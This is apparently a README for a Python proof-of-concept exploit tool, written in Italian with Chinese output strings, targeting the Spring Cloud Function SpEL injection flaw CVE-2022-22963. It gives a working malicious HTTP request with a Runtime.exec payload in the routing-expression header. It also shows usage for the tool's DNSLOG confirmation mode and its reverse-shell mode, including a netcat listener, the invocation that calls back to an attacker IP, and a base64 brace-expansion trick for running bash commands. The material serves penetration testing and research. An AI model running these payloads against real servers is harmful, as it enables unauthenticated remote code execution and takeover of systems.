
CVE-2022-22963-poc
Strumento di rilevamento e sfruttamento della vulnerabilità di iniezione di espressioni SpEL di Spring Cloud Function per esecuzione remota di codice.
CVE-2022-22963 è una vulnerabilità RCE critica (CVSS 9.8) nella funzione di routing di Spring Cloud Function. Quando l'applicazione abilita l'endpoint /functionRouter, il valore dell'intestazione della richiesta spring.cloud.function.routing-expression viene eseguito direttamente come espressione SpEL (Spring Expression Language), consentendo a un utente malintenzionato di eseguire comandi arbitrari sul server di destinazione senza autenticazione.
Versioni interessate:
| Branch | Versione interessata | Versione corretta |
|---|
| 3.1.x | < 3.1.7 | 3.1.7 |
| 3.2.x | < 3.2.3 | 3.2.3 |
Principio della vulnerabilità:
POST /functionRouter HTTP/1.1
Host: target.example.com
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("id")
Content-Type: application/x-www-form-urlencoded
test
Dopo che il server esegue SpEL, exec() restituisce un oggetto Process, Spring lancia un'eccezione quando tenta di serializzarlo, rispondendo con HTTP 500. Il comando viene eseguito in modo asincrono in background, il risultato non viene restituito nella risposta HTTP e deve essere confermato tramite canali laterali come DNSLOG o reverse shell.
ping a un dominio DNSLOG per confermare l'esecuzione del comando tramite record DNSpip install requests
Python 3.6+, nessun'altra dipendenza.
python3 CVE-2022-22963.py -u <目标URL> [选项]
| Parametro | Descrizione | Valore predefinito |
|---|---|---|
-u, --url | URL di destinazione (obbligatorio) | — |
-c, --check | Verifica se la vulnerabilità esiste | — |
-m, --mode | Modalità di sfruttamento: dnslog o shell | — |
-d, --dns | Dominio DNSLOG (usato con -m dnslog) | — |
-i, --ip | Indirizzo IP per ricevere la reverse shell (usato con -m shell) | — |
-p, --port | Porta per ricevere la reverse shell | 9999 |
-t, --timeout | Timeout della richiesta (secondi) | 5 |
python3 CVE-2022-22963.py -u http://target.example.com -c
2024-01-01 12:00:00 - INFO - [+] http://target.example.com 存在漏洞!
Utilizzato per confermare l'effettiva esecuzione del comando in assenza di risposta visibile:
python3 CVE-2022-22963.py -u http://target.example.com -m dnslog -d abc123.dnslog.cn
2024-01-01 12:00:01 - INFO - [+] payload 已发送,请检查 abc123.dnslog.cn 是否收到 DNS 请求(确认实际执行)
Quindi verificare sulla piattaforma DNSLOG se è stata ricevuta una query DNS dall'IP di destinazione.
Avviare l'ascolto sulla macchina attaccante:
nc -lvnp 9999
Inviare il payload:
python3 CVE-2022-22963.py -u http://target.example.com -m shell -i 192.168.1.100 -p 9999
2024-01-01 12:00:02 - INFO - [+] payload 已发送,请在 192.168.1.100:9999 等待连接(仅支持 Linux/bash 目标)
Nota: La reverse shell dipende dal supporto
/dev/tcpdel sistema target, è adatta solo per ambienti Linux + bash e non supporta target Windows o shell come sh/ash/dash.
La richiesta di rilevamento invia un'espressione SpEL reale a /functionRouter:
T(java.lang.Runtime).getRuntime().exec('id')
Process non può essere serializzato → HTTP 500 + "path":"/functionRouter"Runtime.exec(String) non passa attraverso l'interpretazione della shell, tokenizza la stringa del comando direttamente sugli spazi, e non può gestire pipe e reindirizzamenti. Lo strumento aggira il problema nei seguenti modi:
{cmd,arg} al posto degli spazi-c di bash sul target gestisce pipe e reindirizzamentibash -c {echo,BASE64}|{base64,-d}|{bash,-i}
↕ Java exec 按空格 tokenize
["bash", "-c", "{echo,BASE64}|{base64,-d}|{bash,-i}"]
↕ bash -c 对参数做 brace expansion
echo BASE64 | base64 -d | bash -i
| Data | Versione | Descrizione |
|---|---|---|
| 2023-12-28 | v1.0 | Rilascio versione iniziale |
| 2025-10-09 | v1.1 | Refactoring del codice, ottimizzazione della gestione dei parametri e della gestione degli errori |
| 2026-06-29 | v1.2 | Corretti falsi positivi nel rilevamento, concatenazione del context path e problemi semantici nei valori di ritorno dell'exploit |
Questo strumento è destinato esclusivamente a scopi di ricerca sulla sicurezza, test di penetrazione autorizzati e formazione.
Utilizzando questo strumento si accetta di:
L'autore non si assume alcuna responsabilità per qualsiasi uso non autorizzato o per le sue conseguenze.